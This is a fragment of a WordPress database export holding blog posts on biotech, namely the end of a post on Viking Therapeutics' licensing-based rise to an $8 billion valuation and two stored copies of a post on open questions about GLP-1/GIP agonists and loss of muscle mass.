href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-4-142182016\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason why Viking Therapeutics was able to achieve this valuation with just 27 employees is because they didn’t develop any of their therapeutics themselves. They licensed all their drugs from Ligand Therapeutics, who, in turn, acquired their drugs from…somewhere. It’s hard to say exactly where, because Ligand’s entire business model is based around finding unused drugs in the patent portfolios of universities and biotech companies (especially big pharma), buying them for a small amount, and then licensing them for more. Ligand is about as tightlipped with their sourcing as Costco is, for obvious reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;It’s also difficult to know exactly how much Viking paid for their GLP-1/GIP agonist. Viking’s a bit shy about that. What we do know is that, for their original compounds licensed from Ligand, Viking actually didn’t pay anything up front. Instead, they entered into a complicated financing agreement with Ligand, where they gave Ligand stock, a board seat, and agreed to pay Ligand incentive payments if the molecules reached certain scientific and sales milestones (around $50-$150 million total depending on the molecule). They also agreed to pay single digit royalties if the product made it to market. So we can assume they probably had roughly the same deal for their GLP-1/GIP dual agonist, although probably with greater incentive payments, given the size of the market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given Viking’s mix of programs which have been variously continued and discontinued, it’s also hard to piece together exactly how much they spent on their clinical trials. Each year they’ve reported about $30-40 million in research and development costs, which, for them, are driven mostly by trials. That number has increased to about $60 million for their most recent annual report. So, it’s probably something $20-30 million for the phase 2 obesity trial that added the extra $4 billion to their stock price.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>None of this is too different from Karuna’s repurposing journey. What is different is that Viking, unlike Karuna, had much more flexibility with their development journey because they basically chose their molecule out of a catalog. This gave Viking a lot more options than Karuna, but also a lot more chances to mess up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most important choices Viking had to make were their first choices: which indications and which molecules. This is tougher than it sounds. The biggest indications are, generally, the most competitive, especially if there’s a clear path to market (i.e. the milestones are well laid out and widely accepted). Smaller, less lucrative indications are less competitive, but, not only will you be competing for a smaller prize, you’ll be forging your own path, with the risk that potential partners will not accept your milestones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, Viking, back in 2014, had to choose which molecules they wanted to license from Ligand, and hope that, in the 10-ish years it’d take to get any of those molecules approved as a drug, those molecules would be recognizable as best in class for their indication or subindication<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-5-142182016\">5</a>, that indication or subindication would be valuable, and, of course, those molecules would not have encountered any of the normal problems along the way, like toxicity or manufacturing issues. Viking chose 3 compounds that were ready for phase 2 trials and three that were preclinical, in a mix of major and minor indications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of their original 6 compounds, 10 years later, literally none of them have really panned out. One of the phase 2 compounds in a major indication (NASH) is still in phase 2 trials, but is likely ironically going to be superseded by the GLP-1 agonist revolution; and one of the preclinicals has made it to phase 1 in a rare indication, but it’s a small prize to win anyways. The rest have disappeared from Viking’s website. This is not to knock Viking’s work or thought process, but just to point out that predicting the future is really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What has panned out for Viking, on the other hand, is successfully catching the GLP-1 agonist/GIP agonist waves. Biotech, like techtech, is prone to waves of sentiment, and the insane success of Ozempic and its ilk have been one of the biggest waves in a long time. Not only have they made obesity an actually treatable medical condition<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-6-142182016\">6</a>, but they’ve had a ton of success treating a lot of conditions associated with obesity, like fatty liver (NASH) and chronic kidney disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The funny thing is that Viking caught that wave relatively late, which put them behind the 8-ball. But that brings me to the next important part of Viking’s success: execution. They first announced preclinical data for their GLP-1/GIP dual agonist&nbsp; in November, 2021, which was a full 5 months after Wegovy, a GLP-1 agonist, had already been approved for weight loss, and after tirzepatide (Mounjaro), Eli LIlly’s flagship GLP-1/GIP dual agonist, had already released human results. They needed to move fast.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So they did. They started with comparing preclinical weight loss results in obese mice treated with their drug vs. tirzepatide and vs. semaglutide (Wegovy), and continuing with preliminary human results by March 2023 and then confirmatory human results vs. tirzepatide by February 2024. With each step, they tried their best to show that their drug would be better than tirzepatide, including starting to develop an oral version of their drug (which, for the record, is similar to what my company is doing with our combination, but with a different best-in-class molecule. Shoot me an email if you want to hear more). This, of course, wouldn’t have been possible if they didn’t choose the right molecule, but it was important to utilize the right molecule to the greatest extent possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This tight timeline doesn’t leave them much time for toxicology and manufacturing, so I imagine they had some results already from Ligand, although it’s hard to say without being able to see their FDA filings. It’s also possible they just crammed those development steps in there and got lucky with how smoothly they went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, the combination of choosing a molecule that could be best in class, an indication that was both lucrative and wasn’t totally solved by the time Viking got good human results, and executing a development program well meant that Viking was able to achieve their impressive valuation, and, probably, get acquired relatively soon. Good job on becoming billionaires, guys!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-1-142182016\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And in my last, last post, I introduced you to my vice of nostalgia, if you weren’t already familiar with it. I apologize for the inconsistency of the topics of this newsletter, and I invite anyone who feels weirded out by it to apply for a refund.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-2-142182016\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another great example of making money off of combinations generic molecules is Axsome Therapeutics’ dextromethorphan/bupropion for major depressive disorder. Dextromethorphan you might know as the ingredient in cough syrup that teenagers use to get high. Bupropion you probably know better as Wellbutrin. Combine them together, like Axsome did, and go through&nbsp;<a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\">a regulatory shitshow</a>, like Axsome did, and you get a $4 billion company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-3-142182016\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be fair, if a startup pitches that they can discover drug candidates for “undruggable” targets, or receptors that are widely known to be biologically relevant but are difficult to develop drugs for, that is actually a legitimate pitch and something to build a company off of. But that’s not what most of these AI-for-biotech companies are pitching.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-4-142182016\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For more on the science of this, stay tuned for my upcoming article with Asimov Press</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-5-142182016\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subindication meaning that it’s a patient subset. Dividing patients into subsets can be super common in some indications, like cancer, where you’ll often see new cancer drugs marketed as the best option for patients who have prostate cancer, have been castrated, and have failed 4 treatments already. I have mixed feelings about this because I think it actually leaves room for scientific misconduct. That’s a story for another time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-6-142182016\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, I am throwing all weight loss surgeries under the bus here, as well as every weight loss therapeutic that’s involved people pooping a lot or people being physically unable to eat. The sheer number of patients who have hopped on the GLP-1 agonist train already dwarfs all of those combined by a long shot.</p>\n<!-- /wp:paragraph -->','Viking Therapeutics has an $8 billion market cap with 27 full time employees. This is their story.','','inherit','closed','closed','','438-revision-v1','','','2024-06-12 17:03:29','2024-06-12 17:03:29','',438,'https://trevorklee.com/?p=439',0,'revision','',0),
(440,1,'2024-06-12 17:05:31','2024-06-12 17:05:31','<!-- wp:paragraph -->\n<p>I’m going to do something a little different for this blog post. Normally, I like to set up questions and answers in the same blog post. But, as I was trying to do that for this blog post, I realized that it was going to be an absolute monster if I tried to do that. So, I decided I’ll set up the questions here, and try to answer them in two separate blog posts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alright, enough with the intro. Onto the business at hand: trying to figure out the mysteries of GLP-1 agonists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let me start off with my general feeling on GLP-1 agonists: GLP-1 agonists, like semaglutide (Ozempic/Wegovy), and GLP-1/GIP dual agonists, like tirzepatide (Mounjaro/Zepbound), are undoubtedly miracle drugs in many ways. I am confident saying that. They consistently cause people to lose weight, they decrease all-cause and cardiovascular specific mortality, they’re very safe, and they are easy to use. They also happen to be reasonably easy to manufacture, as modern pharmaceuticals go, and they are surprisingly easy to invent, judging by the number of GLP-1 agonists that are coming on the market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a14db72-29a8-49cb-9ff2-1ea095299bc2_640x435.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a14db72-29a8-49cb-9ff2-1ea095299bc2_640x435.jpeg\" alt=\"ob/ob mouse - Wikipedia\" title=\"ob/ob mouse - Wikipedia\"/></a><figcaption class=\"wp-element-caption\">Apparently this is what obese mice look like, according to Google Images. I thought it was a fun header image.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The combination of all these factors means that GLP-1 agonists and related drugs are serious technological and scientific achievements. Safe, sustainable, easy weight loss has been one of the biggest goals for the health industry at large<a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-1-142797175\">1</a>&nbsp;for at least 70 years, and these drugs are the closest we, as a species, have gotten to achieving that goal. The billions of dollars that Novo Nordisk, Eli Lilly, and startups like Viking have gotten for these drugs is well-deserved, as they represent real innovation in pharma<a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-2-142797175\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, this is my base for all of this stuff. They’re good drugs. If you were hoping that the mysteries of GLP-1 agonists had something to do with the possibilities that they weren’t good drugs, then you may be disappointed right now. My apologies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, given that they are really good drugs (and, you know, multibillion dollar efforts in both costs and revenue), that means that anything related to making them work better is a really interesting mystery. So, that’s what I’d like to explore today: mysteries around how we can make GLP-1 agonists work better. Here goes:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1. Why do GLP-1/GIP dual agonists work better than GLP-1 agonists?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tirzepatide (a.k.a. Mounajro/Zepbound), as a GLP-1/GIP dual agonist, is often sold as a sequel to GLP-1 agonists like semaglutide. In a way, it is, at least in terms of greater weight loss, possibly fewer side effects, and seemingly more sustained weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But GIP agonism is really weird, and it makes it actually pretty hard to understand if tirzepatide is a sequel at all. GIP agonism is way less straightforward than GLP-1 agonism. GLP-1 agonism has a solid, easy-to-understand story. The GLP-1 receptors are activated when nutrients are consumed. Activating them has a lot of the effects of consuming lots of food: enhancing insulin secretion, reducing appetite, and increasing glucose metabolism. So, artificial long-acting GLP-1 agonists like semaglutide have, basically, the same effect on your body’s metabolism/satiety as consuming lots of food, but without the calories.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GIP agonism, by contrast, does not have an easy-to-understand story at all. GIP receptors, like GLP-1 receptors, are activated when food is consumed. However, the function of GIP is way harder to parse. It was first thought to decrease the secretion of stomach acid and gastric motility (hence, the name&nbsp;<em>Gastric Inhibitory Peptide</em>), but then that was found to only happen at supraphysiological levels (i.e. higher levels of the peptide than would be found in the body).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So then, the new story was that the function of GIP was to induce insulin secretion, just like the function of GLP-1 (hence, the new acronym&nbsp;<em>Glucose-dependent Insulinotropic Peptide</em>). Going along with this new role, GIP was also found to promote pancreatic beta cell proliferation, which are responsible for secreting insulin. All of this together should mean that GIP agonism works the same as GLP-1 agonism and makes people lose weight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And it does. Sort of. But, again, GIP receptor agonism is way more complicated than this makes it sound. GIP also stimulates glucagon secretion, and glucagon, if you recall, is literally the opposite of insulin. And while, yes, while mice with chronically overexpressed GIP are protected from obesity, so are mice who are chronically deficient in GIP, including mice who don’t produce any GIP at all. Also, GIP on its own doesn’t seem to decrease body weight at all, but it does seem to have an additive effect when combined with GLP-1.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t just a mouse story, either. Amgen, a major pharmaceutical company, has announced that their new drug, a GLP-1 agonist/GIP&nbsp;<em>inhibitor</em>, shows safe, sustained, significant weight loss in obese humans. So, if they’re right, and the mouse studies are right, it seems like doing literally anything to GIP receptors (other than leaving them alone) while agonizing GLP-1 receptors results in greater weight loss than just agonizing GLP-1 receptors alone.<br><br>This is weird! Weight loss isn’t supposed to work this way. Our bodies are designed to maintain our weight and to add weight. It’s difficult to consistently lose weight, because for the vast, vast majority of our history as a species that was bad for your health. This is why it’s been so difficult for pharma companies to create safe, effective weight-loss drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And so now we’ve got a receptor that seems designed to make us lose weight, safely, no matter what we do to it, and there doesn’t seem to be any physiological reason for it. There’s something funky here. For tirzepatide and other GLP-1/GIP dual agonists to actually be sequels to GLP-1 agonists, we have to understand what GIP’s function actually is. Otherwise, these drugs’ success in weight loss seems more like blind luck to me, and I wouldn’t be confident that future GLP-1 agonists wouldn’t work better than these dual agonists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. Does GLP-1 agonism cause people to lose muscle mass?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second mystery is more straightforward. Some of the GLP-1 agonism trials have suggested that these drugs cause people to lose muscle mass. Some of them have not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If these drugs do cause people to lose muscle mass, there is a lot of money to be made for whatever company successfully prevents the loss of muscle mass. Not only is loss of muscle mass an aesthetic concern, but it’s also a health concern, especially in the elderly. Loss of muscle mass is a major signal of imminent health problems in senior citizens, although admittedly the cause and effect is hard to parse out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, how much money can be made from preventing loss of muscle mass is hard to say, as the total addressable market is somewhere between zero and all the people who are taking GLP-1 agonists, but it’s a large amount. And, again, it wouldn’t just be a bullshit innovation, as making GLP-1 agonists work better can be a big boon to health.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, on the other hand, if GLP-1 receptor agonists don’t cause people to lose muscle mass, well, then, there’s not a lot to be done. The drugs don’t have any real problems then, besides the rebounding weight gain after people stop taking the drugs. This is an issue to be solved, but I think it will be by just making the drugs better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regeneron, Eli Lilly, and an assortment of startups are all betting on the idea that GLP-1 agonists cause muscle mass loss<a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-3-142797175\">3</a>. I think that’s an interesting mystery, and one that’s worth exploring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s my pitch for the two questions I’ll be exploring in upcoming blog posts: what’s the deal with GIP, and what’s the deal with the supposed muscle mass loss. If that sounds interesting to you, stay tuned!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-anchor-1-142797175\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I swear I’m not doing all these size puns on purpose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-anchor-2-142797175\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unlike all the money that companies have gotten by basically legalizing psychedelics, like Johnson and Johnson with ketamine or everyone who’s trying to develop legal forms of LSD or psilocybin.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I mean, I get that it’s convenient, and even necessary, for doctors to have a form of ketamine that they can legally prescribe, and I get that there are patients who are legitimately helped by ketamine. But it’s just depressing (sorry) that the innovation there is just a regulatory innovation. Johnson and Johnson is making $500 million a year because they were able to jump through regulatory hoops to get nasal ketamine approved, but it seems unfair to me that the financial rewards go to J&amp;J for their regulatory prowess, rather than anyone who was involved in the invention of ketamine or in its original application to depression.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, it’s worse for patients than if we just allowed them to snort ketamine, preferably at a German rave. Ah, well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-anchor-3-142797175\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interestingly, one well-funded longevity/AI startup, BioAge, bet on this muscle mass loss idea for like a year, trying to reposition their sarcopenia drug (that they bought from Amgen, funnily enough) as a drug for this and raising $170 million on that idea. Then, once Nature Biotechnology reported on it, they got spooked, and told Nature that actually they are only interested in pure weight loss. I have no idea why they did this and would love to know the actual story.</p>\n<!-- /wp:paragraph -->','The twin mysteries of GLP-1 receptor agonists','','publish','closed','closed','','the-twin-mysteries-of-glp-1-receptor-agonists','','','2024-06-12 17:05:31','2024-06-12 17:05:31','',0,'https://trevorklee.com/?page_id=440',0,'page','',0),
(441,1,'2024-06-12 17:05:31','2024-06-12 17:05:31','<!-- wp:paragraph -->\n<p>I’m going to do something a little different for this blog post. Normally, I like to set up questions and answers in the same blog post. But, as I was trying to do that for this blog post, I realized that it was going to be an absolute monster if I tried to do that. So, I decided I’ll set up the questions here, and try to answer them in two separate blog posts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alright, enough with the intro. Onto the business at hand: trying to figure out the mysteries of GLP-1 agonists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let me start off with my general feeling on GLP-1 agonists: GLP-1 agonists, like semaglutide (Ozempic/Wegovy), and GLP-1/GIP dual agonists, like tirzepatide (Mounjaro/Zepbound), are undoubtedly miracle drugs in many ways. I am confident saying that. They consistently cause people to lose weight, they decrease all-cause and cardiovascular specific mortality, they’re very safe, and they are easy to use. They also happen to be reasonably easy to manufacture, as modern pharmaceuticals go, and they are surprisingly easy to invent, judging by the number of GLP-1 agonists that are coming on the market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a14db72-29a8-49cb-9ff2-1ea095299bc2_640x435.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a14db72-29a8-49cb-9ff2-1ea095299bc2_640x435.jpeg\" alt=\"ob/ob mouse - Wikipedia\" title=\"ob/ob mouse - Wikipedia\"/></a><figcaption class=\"wp-element-caption\">Apparently this is what obese mice look like, according to Google Images. I thought it was a fun header image.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The combination of all these factors means that GLP-1 agonists and related drugs are serious technological and scientific achievements. Safe, sustainable, easy weight loss has been one of the biggest goals for the health industry at large<a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-1-142797175\">1</a>&nbsp;for at least 70 years, and these drugs are the closest we, as a species, have gotten to achieving that goal. The billions of dollars that Novo Nordisk, Eli Lilly, and startups like Viking have gotten for these drugs is well-deserved, as they represent real innovation in pharma<a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-2-142797175\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, this is my base for all of this stuff. They’re good drugs. If you were hoping that the mysteries of GLP-1 agonists had something to do with the possibilities that they weren’t good drugs, then you may be disappointed right now. My apologies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, given that they are really good drugs (and, you know, multibillion dollar efforts in both costs and revenue), that means that anything related to making them work better is a really interesting mystery. So, that’s what I’d like to explore today: mysteries around how we can make GLP-1 agonists work better. Here goes:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1. Why do GLP-1/GIP dual agonists work better than GLP-1 agonists?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tirzepatide (a.k.a. Mounajro/Zepbound), as a GLP-1/GIP dual agonist, is often sold as a sequel to GLP-1 agonists like semaglutide. In a way, it is, at least in terms of greater weight loss, possibly fewer side effects, and seemingly more sustained weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But GIP agonism is really weird, and it makes it actually pretty hard to understand if tirzepatide is a sequel at all. GIP agonism is way less straightforward than GLP-1 agonism. GLP-1 agonism has a solid, easy-to-understand story. The GLP-1 receptors are activated when nutrients are consumed. Activating them has a lot of the effects of consuming lots of food: enhancing insulin secretion, reducing appetite, and increasing glucose metabolism. So, artificial long-acting GLP-1 agonists like semaglutide have, basically, the same effect on your body’s metabolism/satiety as consuming lots of food, but without the calories.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GIP agonism, by contrast, does not have an easy-to-understand story at all. GIP receptors, like GLP-1 receptors, are activated when food is consumed. However, the function of GIP is way harder to parse. It was first thought to decrease the secretion of stomach acid and gastric motility (hence, the name&nbsp;<em>Gastric Inhibitory Peptide</em>), but then that was found to only happen at supraphysiological levels (i.e. higher levels of the peptide than would be found in the body).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So then, the new story was that the function of GIP was to induce insulin secretion, just like the function of GLP-1 (hence, the new acronym&nbsp;<em>Glucose-dependent Insulinotropic Peptide</em>). Going along with this new role, GIP was also found to promote pancreatic beta cell proliferation, which are responsible for secreting insulin. All of this together should mean that GIP agonism works the same as GLP-1 agonism and makes people lose weight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And it does. Sort of. But, again, GIP receptor agonism is way more complicated than this makes it sound. GIP also stimulates glucagon secretion, and glucagon, if you recall, is literally the opposite of insulin. And while, yes, while mice with chronically overexpressed GIP are protected from obesity, so are mice who are chronically deficient in GIP, including mice who don’t produce any GIP at all. Also, GIP on its own doesn’t seem to decrease body weight at all, but it does seem to have an additive effect when combined with GLP-1.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t just a mouse story, either. Amgen, a major pharmaceutical company, has announced that their new drug, a GLP-1 agonist/GIP&nbsp;<em>inhibitor</em>, shows safe, sustained, significant weight loss in obese humans. So, if they’re right, and the mouse studies are right, it seems like doing literally anything to GIP receptors (other than leaving them alone) while agonizing GLP-1 receptors results in greater weight loss than just agonizing GLP-1 receptors alone.<br><br>This is weird! Weight loss isn’t supposed to work this way. Our bodies are designed to maintain our weight and to add weight. It’s difficult to consistently lose weight, because for the vast, vast majority of our history as a species that was bad for your health. This is why it’s been so difficult for pharma companies to create safe, effective weight-loss drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And so now we’ve got a receptor that seems designed to make us lose weight, safely, no matter what we do to it, and there doesn’t seem to be any physiological reason for it. There’s something funky here. For tirzepatide and other GLP-1/GIP dual agonists to actually be sequels to GLP-1 agonists, we have to understand what GIP’s function actually is. Otherwise, these drugs’ success in weight loss seems more like blind luck to me, and I wouldn’t be confident that future GLP-1 agonists wouldn’t work better than these dual agonists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. Does GLP-1 agonism cause people to lose muscle mass?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second mystery is more straightforward. Some of the GLP-1 agonism trials have suggested that these drugs cause people to lose muscle mass. Some of them have not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If these drugs do cause people to lose muscle mass, there is a lot of money to be made for whatever company successfully prevents the loss of muscle mass. Not only is loss of muscle mass an aesthetic concern, but it’s also a health concern, especially in the elderly. Loss of muscle mass is a major signal of imminent health problems in senior citizens, although admittedly the cause and effect is hard to parse out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, how much money can be made from preventing loss of muscle mass is hard to say, as the total addressable market is somewhere between zero and all the people who are taking GLP-1 agonists, but it’s a large amount. And, again, it wouldn’t just be a bullshit innovation, as making GLP-1 agonists work better can be a big boon to health.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, on the other hand, if GLP-1 receptor agonists don’t cause people to lose muscle mass, well, then, there’s not a lot to be done. The drugs don’t have any real problems then, besides the rebounding weight gain after people stop taking the drugs. This is an issue to be solved, but I think it will be by just making the drugs better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regeneron, Eli Lilly, and an assortment of startups are all betting on the idea that GLP-1 agonists cause muscle mass loss<a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-3-142797175\">3</a>. I think that’s an interesting mystery, and one that’s worth exploring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s my pitch for the two questions I’ll be exploring in upcoming blog posts: what’s the deal with GIP, and what’s the deal with the supposed muscle mass loss. If that sounds interesting to you, stay tuned!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-anchor-1-142797175\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I swear I’m not doing all these size puns on purpose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-anchor-2-142797175\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unlike all the money that companies have gotten by basically legalizing psychedelics, like Johnson and Johnson with ketamine or everyone who’s trying to develop legal forms of LSD or psilocybin.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I mean, I get that it’s convenient, and even necessary, for doctors to have a form of ketamine that they can legally prescribe, and I get that there are patients who are legitimately helped by ketamine. But it’s just depressing (sorry) that the innovation there is just a regulatory innovation. Johnson and Johnson is making $500 million a year because they were able to jump through regulatory hoops to get nasal ketamine approved, but it seems unfair to me that the financial rewards go to J&amp;J for their regulatory prowess, rather than anyone who was involved in the invention of ketamine or in its original application to depression.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, it’s worse for patients than if we just allowed them to snort ketamine, preferably at a German rave. Ah, well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-twin-mysteries-of-glp-1-receptor#footnote-anchor-3-142797175\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interestingly, one well-funded longevity/AI startup, BioAge, bet on this muscle mass loss idea for like a year, trying to reposition their sarcopenia drug (that they bought from Amgen, funnily enough) as a drug for this and raising $170 million on that idea. Then, once Nature Biotechnology reported on it, they got spooked, and told Nature that actually they are only interested in pure weight loss. I have no idea why they did this and would love to know the actual story.</p>\n<!-- /wp:paragraph -->','The twin mysteries of GLP-1 receptor agonists','','inherit','closed','closed','','440-revision-v1','','','2024-06-12 17:05:31','2024-06-12 17:05:31','',440,'https://trevorklee.com/?p=441',0,'revision','',0),
